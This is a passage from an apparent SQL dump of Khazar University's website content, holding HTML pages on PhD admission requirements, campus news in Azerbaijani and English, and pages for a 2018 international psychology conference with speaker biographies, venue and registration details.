width:466.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">International\r\n  Relations-5901.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">16</p>\r\n  </td>\r\n  <td width=\"622\" colspan=\"2\" style=\"\" width:466.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Social\r\n  philosophy-7202.01</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><br></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nperiod of full-time PhD education is 3 years. The program for part time\r\nresearchers is 4 years.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>Requirements for a PhD\r\ndegree</strong><strong>:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">1. Citizens of the Azerbaijan\r\nRepublic with higher education (with MA education or equivalent) are eligible\r\nto be accepted to the announced PhD vacancies on the basis of competition. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2. Any candidate with full completion\r\nof PhD course (former post-graduate) is not eligible for readmission to PhD\r\nstudies in the same field of study. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>Documents required for PhD\r\nadmission: </strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- application (to the head of the\r\ninstitution or organization where a PhD vacancy is announced);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- applicant’s individual\r\nregistration sheet;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- biodata;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- 2 photos (3x4 cm);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- reference from workplace;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- extract from employment record\r\nbook for those with work experience;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- list of published scientific works\r\n<strong>or </strong>abstract of research paper (referat)<strong> </strong>on the further field of research;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- notarized copy of university\r\ndiploma in an appropriate form (for citizens of the Azerbaijan Republic who\r\nhave completed higher education abroad, a certificate of recognition is\r\nrequired);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">- copy of personal identity card.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Documents\r\nshould be submitted in person to Khazar University Division of Graduate Studies\r\nand Research (Room 412).</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>Contacts</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong>E-mail: </strong><a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev@khazar.org</a>\r\nor <a href=\"mailto:lsalayeva@khazar.org\">Lsalayeva@khazar.org</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong><a href=\"mailto:lsalayeva@khazar.org\"></a></strong><strong>Phone:&nbsp;</strong>(+99412) 431-79-27 (ext. 280 or 221); Fax (+99412) 498-93-79; Mobile: (+99450)\r\n518-81-34</p>'),(4709,2795,'az','“Qan qrupu və sənin xarakterin” mövzusunda seminar','2017-ci il dekabrın 28-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Qan qrupu və sənin xarakterin” mövzusunda...','<p>2017-ci il dekabrın 28-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Qan qrupu və sənin xarakterin” mövzusunda seminar keçirildi. Məruzəçi M.Ə.Sabir Fondunun prezidenti bio.ü.f.d., dosent Sevda Tahirli idi.</p><p>O, qan qrupunun insanın xarakterinə olan təsirlərindən –&nbsp;insanların karyera seçimindəki rolundan, ailə həyatına göstərdiyi təsirdən, sevdikləri qida seçimlərindən və bir sıra digər səbəblərdən danışdı.</p><p>Seminarın sonunda tələbərin sualları cavablandırıldı.</p><p>Sevda Tahirli müəllifi olduğu “Qanımızın səsi” kitabının 2 nüsxəsini Xəzər Universitetinin kitabxanasına hədiyyə etdi.</p>'),(4710,2797,'az','Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər Fakültəsində “Yeni il” tədbiri keçirildi','2017-ci il dekabrın 27-də Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər Fakültəsinin 1-ci kurs tələbələri üçün 31 Dekabr...','<p>2017-ci il dekabrın 27-də Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər Fakültəsinin 1-ci kurs tələbələri üçün 31 Dekabr – Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni ilə həsr edilmiş bayram tədbiri keçirildi. Tədbirdə tələbələrlə birgə fakültənin müəllimləri də&nbsp;iştirak edirdilər.</p>'),(4711,2798,'az','Xəzər Universitetinin müəlliminin elmi məqaləsi çap olundu','AMEA M.Füzuli adına Əlyazmalar İnstitutunun nəşri olan “Filologiya məsələləri” jurnalının 2017-cı il tarixli 18-ci sayında...','<p>AMEA M.Füzuli adına Əlyazmalar İnstitutunun nəşri olan “Filologiya məsələləri” jurnalının 2017-cı il tarixli 18-ci sayında Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “Çağdaş vətəndaşlıq lirikasinda milli birlik motivləri (Məmməd Araz, Söhrab Tahir AzərAzər və Məmməd İsmayılın yaradıcılığı əsasında”) adlı elmi məqaləsi çap olunmuşdur.</p><p>Məqalə ilə <strong><a href=\"/files/azelang_depart/n18.pdf\">bu linkdə</a></strong> tanış ola bilərsiniz.</p>'),(4712,2799,'az','Gənc yazıçı tələbələrlə görüşdü','2017-ci il dekabrın 27-də Xəzər Universitetinin “Mərmər” salonunda “33 fotoda həyat” adlı tədbir keçirildi...','<p>2017-ci il dekabrın 27-də Xəzər Universitetinin “Mərmər” salonunda “33 fotoda həyat” adlı tədbir keçirildi.</p><p>Tədbirdə təlimçi və üç kitabın müəllifi (“Kvan”, “Ubuntu”, “Alamo 13”) gənc yazıçı Coşqun Kərimov tələbələrlə təhsil və karyeraya aid müxtəlif mövzularda öz təcrübəsini bölüşdü. Qonaq təhsil və öz üzərində daim işləməyin vacibliyini vurğuladı və bununla əlaqədar tələbələrə tövsiyələrini verdi.</p><p>Tədbir sual-cavab sessiyası ilə bitdi.</p>'),(4713,2799,'en','Young Writer’s Meeting with Students','On December 27, 2017, an event entitled “Life in 33 Pictures” took place in the Marble Hall of Khazar University...','<p>On December 27, 2017, an event entitled “Life in 33 Pictures” took place in the Marble Hall of Khazar University.</p><p>Trainer and the author of three books (“Kvan,” “Ubuntu,” and “Alamo 13”) Joshqun Karimov spoke to students about education and career. He emphasized the importance of studying and continuous self-improvement and shared his recommendations with the audience.&nbsp;</p><p>The event ended with a question and answer session.</p>'),(4714,2783,'en','Associate professor of Department of Languages and Cultures at a National Conference','Elnura Azizova, Associate professor of the Department of Languages and Cultures of Khazar University, participated...','<p>Elnura Azizova, Associate professor of the Department of Languages and Cultures of Khazar University, participated in a scientific conference “Azerbaijan model of Islamic solidarity” held on December 14, 2017, organised by Central Scientific Library of Azerbaijan National Academy Of Sciences. Associate professor E.Azizova delivered a report entitled \"Attitude towards different opinion in Islam\" at the conference.</p>'),(4715,2782,'en','Students visited Icherisheher','Teaching process of subject of Archeology, instructed by Orkhan Zamanov, for the first course students...','<p>Teaching process of subject of Archeology, instructed by Orkhan Zamanov, for the first course students of Faculty of History of Khazar University was held in Icherisheher, Maiden Tower and “Museum-exhibition” hall of Institute of Archeology and Ethnography of Azerbaijan National Academy Of Sciences on December 25, 2017. This practice was important in terms of development of archeology and research of cultural heritage of Azerbaijan.</p>'),(4716,2785,'en','Students learn “Ancient alphabet” in Institute of Manuscript','Khatira Yusifova, an instructor of the Department of Azerbaijan language and Literature of Khazar University, ran...','<p>Khatira Yusifova, an instructor of the Department of Azerbaijan language and Literature of Khazar University, ran a lesson under a topic of “Introduction to samples of manuscripts” in Institute of Manuscripts named after Muhammad Fuzuli for the students of Faculty of Education within framework of subject of “Ancient alphabet”. Within this lesson students became closely familiar with samples of manuscripts. Moreover, students became fully acquainted with works, written in the Persian, Arabic and Turkish languages, belonging to cultures of Near East, Middle East and northern Africa as well as personal documents of prominent public figures of XIX-XX centuries, old books, journals and newspapers, various movies and photos.</p>'),(4717,2784,'en','Associate professor of Department of languages and cultures participated at an international symposium','Elnura Azizova, Associate professor of Department of Languages and Cultures of Khazar University, participated...','<p>Elnura Azizova, Associate professor of Department of Languages and Cultures of Khazar University, participated at an international symposium “Baghdad and Kutu’l-Amare in its 100th anniversary” on December 20-22, 2017 , organised by Institution of Turkish History of the Republic of Turkey. Associate professor E.Azizova delivered a report entitled “Notion of Turkish and Arabic people in the writings of English soldiers captured in siege of Kutu’l-Amara”.</p>'),(4718,2781,'en','Meeting with the head of department of the Institute of Archeology and Ethnography','On December 26, 2017, Farhad Guliyev, an archeologist, a PhD holder in History, head of the department of the Institute...','<p>On December 26, 2017, Farhad Guliyev, an archeologist, a PhD holder in History, head of the department of the Institute of Archeology and Ethnography, awarded with “A man of the year” prize by Science Development Foundation under the President of the Republic of Azerbaijan, held a presentation on the Neolithic Revolution in Khazar University. Before the presentation, the two first year students delivered a presentation to 45 students from various courses and specialities. Roza Arazova, the moderator of the presentation, head of the department of History and Archeology, talked about the importance of study of archeology in her opening speech. The presentation was made during the lesson of “Ancient Eastern History”. After the presentation, the presenter answered the questions and held a comprehensive discussion with the participants.</p>'),(5997,3425,'az','Bilik Fondunun sədri “Dünya” məktəbində oldu','2018-ci il sentyabr 17-də “Dünya” məktəbində Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun...','<p>2018-ci il sentyabr 17-də “Dünya” məktəbində Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun sədri pedaqogika üzrə fəlsəfə doktoru, dosent Oktay Səmədovla görüş keçirildi.</p><p>Məktəb rəhbərliyi, müəllimlər və yuxarı sinif şagirdlərinin iştirak etdiyi görüşdə natiq “Azərbaycan Xalq Cümhuruyyəti –Dövlətçiliyimizin bayraqdarı” mövzusunda çıxış etdi. O, Azərbaycanda insan kapitalının formalaşmasının zəruriliyindən söhbət açaraq, dünyada gərginlik yaşandığı bir dövrdə –21-ci əsrdə bilikli, savadlı, öz milli-mənəvi dəyərlərinə, dövlətinə, vətəninə sadiq vətəndaşların çoxalmasının mühüm olduğunu vurğuladı. “İnsan kapitalı zəngin, məhsuldar, cəmiyyətə vacib məfhumdur,” –deyən O.Səmədov təhsilə, savada yiyələnmənin, “ömür boyu təhsil”in vacibliyini qeyd etdi.</p><p>Azərbaycan Xalq Cümhuriyyəti dövründən söz açan Oktay Səmədov, həmçinin bu dövrün indiki Azərbaycana verdiyi böyük töhfələrdən danışdı. O, qədim dövlətçilik ənənələrinə söykənən ölkəmizin bugünkü inkişafından söz açdı, dünyada baş verən proseslərin, gərgin hadisələrin fonunda ölkə başçısına dəstək olmağın, ölkəmizin daha da möhkəmlənməsi istiqamətində bilik, mükəmməl təhsil və savadla çalışmağın qarşıda duran vəzifə olduğunu söylədi.</p><p>Sədrlik etdiyi Bilik Fondunun fəaliyyətinin işinin birbaşa maarifləndirmə olduğunu deyən natiq müasir texnologiyalardan istifadə etməklə bərabər, ilk növbədə kitab oxumağın, mütaliəyə marağın artırılmasını, alimlərlə, təhsil işçiləri ilə əlaqələrin möhkəmləndirilməsinin ən mühüm vəzifələrdən biri olduğunu bildirdi.</p><p>Oktay Səmədov informasiya burulğanının içərisində gərgin həyat yaşadığımız müasir dövrdə belə görüşlərin tez-tez keçirilməsinin zəruri olduğunu dedi.</p><p>Sözünün sonunda Oqtay Səmədov “Dünya” məktəbində təhsil üçün yaradılan şəraitdən razılığını bildirdi.</p>'),(4739,2810,'az','Bizim haqqımızda','Bizim haqqımızda',''),(4740,2810,'en','About us','About us',''),(4741,2811,'az','Konfrans xəbərləri','Konfrans xəbərləri',''),(4742,2812,'en','Committees','Committees','<p style=\"text-align:center\"><strong>Khazar University</strong></p><p style=\"text-align:justify\"><strong>01.24.2018</strong></p><p style=\"text-align:justify\"><strong>Baku, Azerbaijan</strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:center\"><strong>Order № 21\\66</strong></p><p style=\"text-align:justify\">1.&nbsp;The 5<sup>th</sup> International Azerbaijan Psychological Conference organized by the Department of Psychology is to be held on April 7-8, 2018, at Khazar University.</p><p style=\"text-align:justify\">2.&nbsp;Organizational team will be created. The project team members will be as follows:</p><br><ul><li style=\"text-align:justify\">Melek Kerimova –   Director of Khazar Psychological Center,&nbsp;PhD</li><li style=\"text-align:justify\">Leman Verdiyeva – Psychologist at the Ministry of Justice, instructor at Khazar University</li><li style=\"text-align:justify\">Roya Mirzayeva – Psychiatrist at the Ministry of Justice, instructor at Khazar University&nbsp;</li><li style=\"text-align:justify\">Tahmasib Javadzadeh – Psychologist at 1<sup>st</sup> Azerbaijan Mental Hospital, instructor at Khazar University&nbsp;</li><li style=\"text-align:justify\">Nilufar Alizada –   Instructor at Khazar University&nbsp;</li><li style=\"text-align:justify\">Anar Babayev –   Instructor at Khazar University</li><li style=\"text-align:justify\">Aygun Isgendarova –   Instructor at Khazar University</li></ul><br><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Voluntary students of the Department of Psychology:</strong></p><br><ul><li>Leman Guliyeva – volunteer student</li><li>Jamila Maharramova –   volunteer student&nbsp;</li><li>Shahin Aliyev –   volunteer student&nbsp;</li><li>Aysel Afandiyeva&nbsp;–   volunteer student</li><li>Aytac Mammadova –   volunteer student&nbsp;</li><li>Vusal Alqiluyev –   volunteer student</li></ul><br><p style=\"text-align:justify\">3.&nbsp;The estimate will be presented in order to conduct the conference (appendix 1).</p><p style=\"text-align:justify\">4.&nbsp;The finance department will be assigned to cover the expenses</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Note</strong>: Presented by Melek Kerimova, Director of Khazar Psychological Center.</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Rector: Dr. Hassan Niknafs</strong></p>'),(4743,2814,'en','Topics','Topics','<br>'),(4744,2815,'en','Keynote Speakers','Keynote Speakers','<p><strong>Prof. Nilufer Havva Voltan Acar</strong></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/psycho_depart/nilufer_v.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Professor Dr. Nilufar VOLTAN ACAR graduated from Uskudar American Girls\' High School in 1970. In 1974, she received her Master\'s degree from Hacettepe University, Department of Social Work. She is also specialized in Psychological Counseling and Guidance from Hacettepe University, 1975. She also received MSW degree in Marriage and Family Counseling. In 1980, she pursued her PhD degree in Psychological Counseling and Guidance, Hacettepe University. In the same year, she began psychodrama training courses at University of Ankara and German Moreno Institute and in 1993 she became a psychodrama leader. She also participated in various Gestalt training groups. Additionally, she was a founder and head of Turkish Psychology Counselling and Coaching Association at American Psychological Association (APA) from 1996 to 2003 and an honorary member of International School Psychology Association (ISPA). Currently she is the dean of the Department of Education at Ted University. Her professional fields of interest are group psychotherapy, group dynamics, communication skills in psychotherapy, theories and applications in psychotherapy, and Gestalt therapy.</p><p><br></p><p><br></p><p><br></p><p><strong>Prof. Mehmet Hakan Turkchapar</strong></p><img src=\"http://www.khazar.org/files/psycho_depart/mehmet_h.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p style=\"text-align:justify\">In 1990, Prof. Mehmet Hakan Turkchapar completed his Bachelor’s and Master’s degree in Medicine at Hacettepe University. He received cognitive psychotherapy training at Beck Institute for Cognitive Therapy and Research in 1997 at University of Pennsylvania. In 1999, he completed his Rational Emotive Behavior Therapy training at New York Ellis Institute. In 2000, he became a doctor in psychiatry. Furthermore, in 2002, he became a scientific expert in the field of social anthropology at Ankara University and in 2009 he completed his PhD degree and received the title of Doctor of Social Anthropology. In 2003, he was certified by Academy of Cognitive Therapy (ACT) as a Cognitive Therapist. Prof. Turkchapar has been in the ACT\'s international accreditation committee since 2005. In 2012, he was also certified by ACT as supervisor. Additionally, two books entitled \"Freud\" and \"Antipsychiatry\" and more than a hundred scientific articles have been produced by Prof. Turkchapar. He is currently the chairman of the Department of Psychology at Kalyoncu University and Balkan Association of Cognitive Behavioral Psychotherapists Association.</p><p><br></p>\r\n<p><br></p><p><br></p><p><strong>Assoc. Prof. Ejder Akgun Yildirim</strong></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/psycho_depart/yildirim.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:135px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Prof. Ejder Akgun graduated from Cerrahpasha Faculty of Medicine, Istanbul University, an English medium university, 1997. In the same year he started his career as an assistant at Bakırkoy Mental Health and Neurological Diseases Training and Research Hospital, 2nd Neurosis Unit and became a Psychiatric Specialist in March 2002. He started his PhD in physiology at the Cerrahpasha Faculty of Medicine at Istanbul University in 1999 and became a Doctor of Physiology Science in 2004. He served as a manager of Health and Care center of Halidere during the Great Marmara Earthquake of 1999. In 2005, he became an instructor of Sexual Therapist in Sexual Education Treatment and Research Association. He received the title of psychodrama therapist and started working with Prof. Dr. Arshaluys. He became a doctor in psychiatry. Additionally, he worked as a supervisor of Turkish Prison and Health Association. He is currently the Chairman of Abdulkadir Ozbek Psychodrama Institute Trainers’ Board and Member of Ethics Committee. He has about 2000 hours of managerial experience and supervises group psychotherapy trainings, life groups, senior patient groups and social phobia groups in his institution and professional associations, academic sociometry and group dynamics.</p><p><br></p><p><br></p><p><strong>Prof. Ebru Chengel Kultur</strong></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/psycho_depart/kultur.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Prof. Ebru Chengel Kultur graduated from Hacettepe University in Medicine in 1996. In 2002 she became a specialist trainer in ‘Children’s Mental Health and Illnesses’ at Hacettepe University. Later on, she joined the university as an assistant professor in 2006. She has a four month research experience at Children Hospital of Toronto University in two different topics: “Child and Adolescence Psychiatry” and “Children with attention deficit hyperactivity disorder and related illnesses”. Between 1997 and 1999, she completed ‘psychodynamic psychotherapy’ training course, conducted by “Psychiatry Assistants and Specialists Association” and organized by Prof. Leyla Zileli. Furthermore, she participated in ‘Game Therapy’ training, organized by Prof. Dr. Ferhunde Oktem and proceeded to study ‘Family Therapy’ at Ankara University in 2003. Prof. Chengel completed the basic level of “Psychodrama sociometry and group psychotherapy” training course, conducted by Dr. Abdulkadir Institute of Turkish Group Psychotherapy Association between 1998 and 2004. Additionally, she was a manager of Child and Adolescence Mental Health Association from 2004 to 2005. She won the award a ‘Mualla Ozturk Child Mental Health” for the research article entitled ‘Early childhood (age 1-3) Determination of Mental Health Profile\". Currently, she is a chairman of the board of Hacettepe University Child and Adolescence Mental Health Department. Her professional fields of interest are attention deficit hyperactivity disorder, early childhood and psychopathology.</p>\r\n<p><br></p><p><br></p><p><strong><strong>Prof. Frederick P. Bemak</strong></strong></p><img src=\"http://www.khazar.org/files/psycho_depart/bemak.jpg\" style=\"border:0px  #000000;width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p style=\"text-align:justify\">Prof. Frederick P.Bemak completed his Bachelor’s degree in Boston University in 1970. It took him four years to do both his Master’s degree in Science and Doctoral degree in Counselling at University of Massachusetts between the years of 1971 till 1975. Since 2013, he has been proceeding his academic career at George Mason University. He was a guest honorary professor at Ohio University in 2008 and worked for Johns Hopkins University from 1991 to 2000. Fred is a former Fulbright Scholar, Kellogg Foundation International Fellow, and World Rehabilitation Fund International Fellow and his research and work focuses on cross-cultural mental health, post-disaster mental health, cultural adaptation, and refugee and immigrant psychosocial adjustment. He regularly provides consultation and training for schools, community organizations, and governmental agencies throughout the United States and internationally in 55 countries. He has authored and co-authored numerous book chapters and professional journal&nbsp;articles about disaster and refugee mental health including a book entitled ‘Counseling Refugees: A Psychosocial Approach to Innovative Multicultural Interventions and the Development of the Disaster Cross-Cultural Counseling Model’.</p><p><br></p><p><br></p>'),(4745,2816,'en','Conference Venue-Accommodation','Conference Venue-Accommodation','<p>Khazar University, Azerbaijan</p><p>Neftchiler Campus -&nbsp;41 Mehseti St., Baku AZ1096</p><p><strong>Phone:</strong> (+994&nbsp;12) 4217916 (275)</p><p><strong>URL:</strong>&nbsp;<a href=\"https://webmail.khazar.org/owa/redir.aspx?C=bfc463c3fdbc4d8f90bc0dd0aa62508b&amp;URL=http%3a%2f%2fwww.khazar.org%2f\" target=\"_blank\" rel=\"noopener noreferrer\">www.khazar.org</a></p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:psychology@khazar.org\">psychology@khazar.org</a></p><p><span style=\"white-space:pre\">  </span>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;<a href=\"http://mailto:mkerimova@khazar.org\">mkerimova@khazar.org</a></p>  <p><iframe width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" src=\"https://www.google.com/maps/embed/v1/place?key=AIzaSyD_gltx6VnkiMgmxdooZ0CcqyUejCpzIaw&q=Khazar+University, Baku\">\r\n</iframe></p>'),(4746,2817,'en','Old Conferences','Old Conferences',''),(4747,2818,'en','Contact Us','Contact Us','<p><strong>Khazar University, Azerbaijan</strong></p><p>Neftchiler Campus -&nbsp;41 Mehseti St., Baku AZ1096</p><p><strong>Phone</strong>:&nbsp;(+994&nbsp;12) 4217916 (275, 254)</p><p><strong>URL</strong>:&nbsp;<a href=\"https://webmail.khazar.org/owa/redir.aspx?C=bfc463c3fdbc4d8f90bc0dd0aa62508b&amp;URL=http%3a%2f%2fwww.khazar.org%2f\" target=\"_blank\" rel=\"noopener noreferrer\">www.khazar.org</a></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:psychology@khazar.org/\">psychology@khazar.org</a></p><p>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;<a href=\"http://mailto:mkerimova@khazar.org/\">mkerimova@khazar.org</a></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href=\"mailto:nalizada@khazar.org\">nalizada@khazar.org</a>  <br></p>'),(4748,2819,'az','Qeydiyyat və Ödəniş','Qeydiyyat və Ödəniş','<p><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSfI4eibYPxle69XquVKe-6nzg_Q4vYaNoCbXiA0rHfBLwnWHQ/viewform\">Qeydiyyat forması</a></p>\r\n<p><a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.facebook.com/xezer.psixolojixidmet.merkezi/</a></p><p>Konfransa biletləri Xəzər Universiteti,&nbsp;Məhsəti 41 k., 502O otağında əldə etmək&nbsp;olar.</p>'),(4749,2819,'en','Registration and Payment','Registration and Payment','<p><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSfI4eibYPxle69XquVKe-6nzg_Q4vYaNoCbXiA0rHfBLwnWHQ/viewform\">Registration form</a></p>\r\n<p><a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.facebook.com/xezer.psixolojixidmet.merkezi/</a></p>'),(4750,2818,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><strong>Xəzər Universiteti, Azərbaycan</strong></p><p>Neftçilər korpusu -&nbsp;Məhsəti k.&nbsp;41, Bakı,&nbsp;AZ1096</p><p><strong><strong>Telefon</strong></strong>:&nbsp;(+994&nbsp;12) 4217916 (275, 254)</p><p><strong>URL</strong>:&nbsp;<a href=\"https://webmail.khazar.org/owa/redir.aspx?C=bfc463c3fdbc4d8f90bc0dd0aa62508b&amp;URL=http%3a%2f%2fwww.khazar.org%2f\" target=\"_blank\" rel=\"noopener noreferrer\">www.khazar.org</a></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:psychology@khazar.org/\">psychology@khazar.org</a></p><p>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;<a href=\"http://mailto:mkerimova@khazar.org/\">mkerimova@khazar.org</a></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;<a href=\"mailto:nalizada@khazar.org\">nalizada@khazar.org</a></p>'),(4751,2817,'az','Keçmiş Konfranslar','Keçmiş Konfranslar','<p style=\"text-align:justify\">2010-2011-ci tədris ilində Xəzər universitetində psixologiya ixtisası açıldı. 8 illik fəaliiyətimizə çox hadisə yerləşdirdik. Açıldığı gündən etibarən qarşıya bir məqsəd qoyudu. Xəzər universiteti psixologiya sahəsində yeniliklərə, Azərbaycanda bu sahənin daha da inkişaf etdirilməsinə təkan verməli və dünya praktikasındakı yenilikləri daima izləməli idi. Psixologiyanın təkcə elm sahəsi olmaması eyni zamanda bir sənət olması da bu sahədəki inkişafı izləmək üçün əsaslı səbəblərdən idi.&nbsp;</p><p style=\"text-align:justify\">Dünyadakı psixologiya sahəsinin son 50 ildə sürət qazanması və dünya praktikası ilə ayaqlaşa bilməmiz,yeniliklərdən xəbərdar olmamız, peşakar inkişafımızı təmin etmək, Xəzər universiteti olaraq bu sahədə yaxşı mütəxəssislər yetişdirə bilməmiz üçün nələrəsə başlamalıydıq. Bu məqsədlə Xəzər universiteti Psixologiya Departamenti bir yenilik və Azərbaycan psixologiya sahəsində öz sözünü demək məqsədi ilə bir yola çıxdı. Bu Azərbaycanda bu sahədə ilk olacaq və hər il ənənəvi olaraq davam etdiriləcək olan Beynəlxalq bir konfransın təşkil edilməsi ilə əlaqadar bir ideya idi. Biz Azərbaycanda yeni cığır açmaq, yeni iz qoymaq istıyirdik və ideyamızı həyata keçirmək üçün üniversitet rəhbərliyin dəstəyi ilə işə başladıq. Dünyada psixologiya sahəsindəki son yeniliklərlə tanış olmaq, dünyada bu sahədə sözünü demiş psixoloq və psixiatrları Azərbaycana cəlb etmək və mütəxəssislərin peşəkarlığına daha da təkan vermək hədəflərimizdəndir. İdeyalar əvvəlcə bir fikir, sonra hərəkətə və sonra böyük bir dalğaya çevrilir və bu dalğa yüzlərcə insana ilham verir. Bu məqsədlə 2014-ci ildən başlayan bu səyahətimizdə müxtəlif ölkələrdən 20-dən çox alim və professorları dəvət etdik. Biz öyrəndik, təcrübə qazandıq, fikir mübadiləsi etdik və yeni coşqu enerji ilə növbətini planlaşdırdıq.</p><p style=\"text-align:justify\">2014-cu ildə 26-27 aprel tarixlərində Azərbaycan 1-ci Beynəlxalq Psixologiya konfransımız təşkil edildi. Konfransımızdakı iştirakçıları nəzərə alaraq qardaş Türkiyədən bu sahədə öz sözünü və imzası qoymuş mütəxəssislərin axtarışları başlandı&nbsp;və&nbsp;beləliklə qonaqlarımızı müəyyənləşdirdik.&nbsp;</p><p style=\"text-align:justify\">Dos.Dr Sevilay Zorlu&nbsp;</p><p style=\"text-align:justify\">Dos.Dr. Sibel Usluer Erener</p><p style=\"text-align:justify\">Prof.Dr. Aysun Tulay Bozkurt</p><p style=\"text-align:justify\">Dos.Dr. Ozanser Uğurlu</p><p style=\"text-align:justify\">Dr.Mehmet Şakiroğlu</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">2015-ci ildə keçirilən Azərbaycan 2.ci Beynəlxalq Konfransında iştirak edən qonaqlarımız:</p><p style=\"text-align:justify\">Prof.Dr. Gəray Gəraybəyli</p><p style=\"text-align:justify\">Dr. Cem Kınacı</p><p style=\"text-align:justify\">Dos.Dr İbrahim Bilgən&nbsp;</p><p 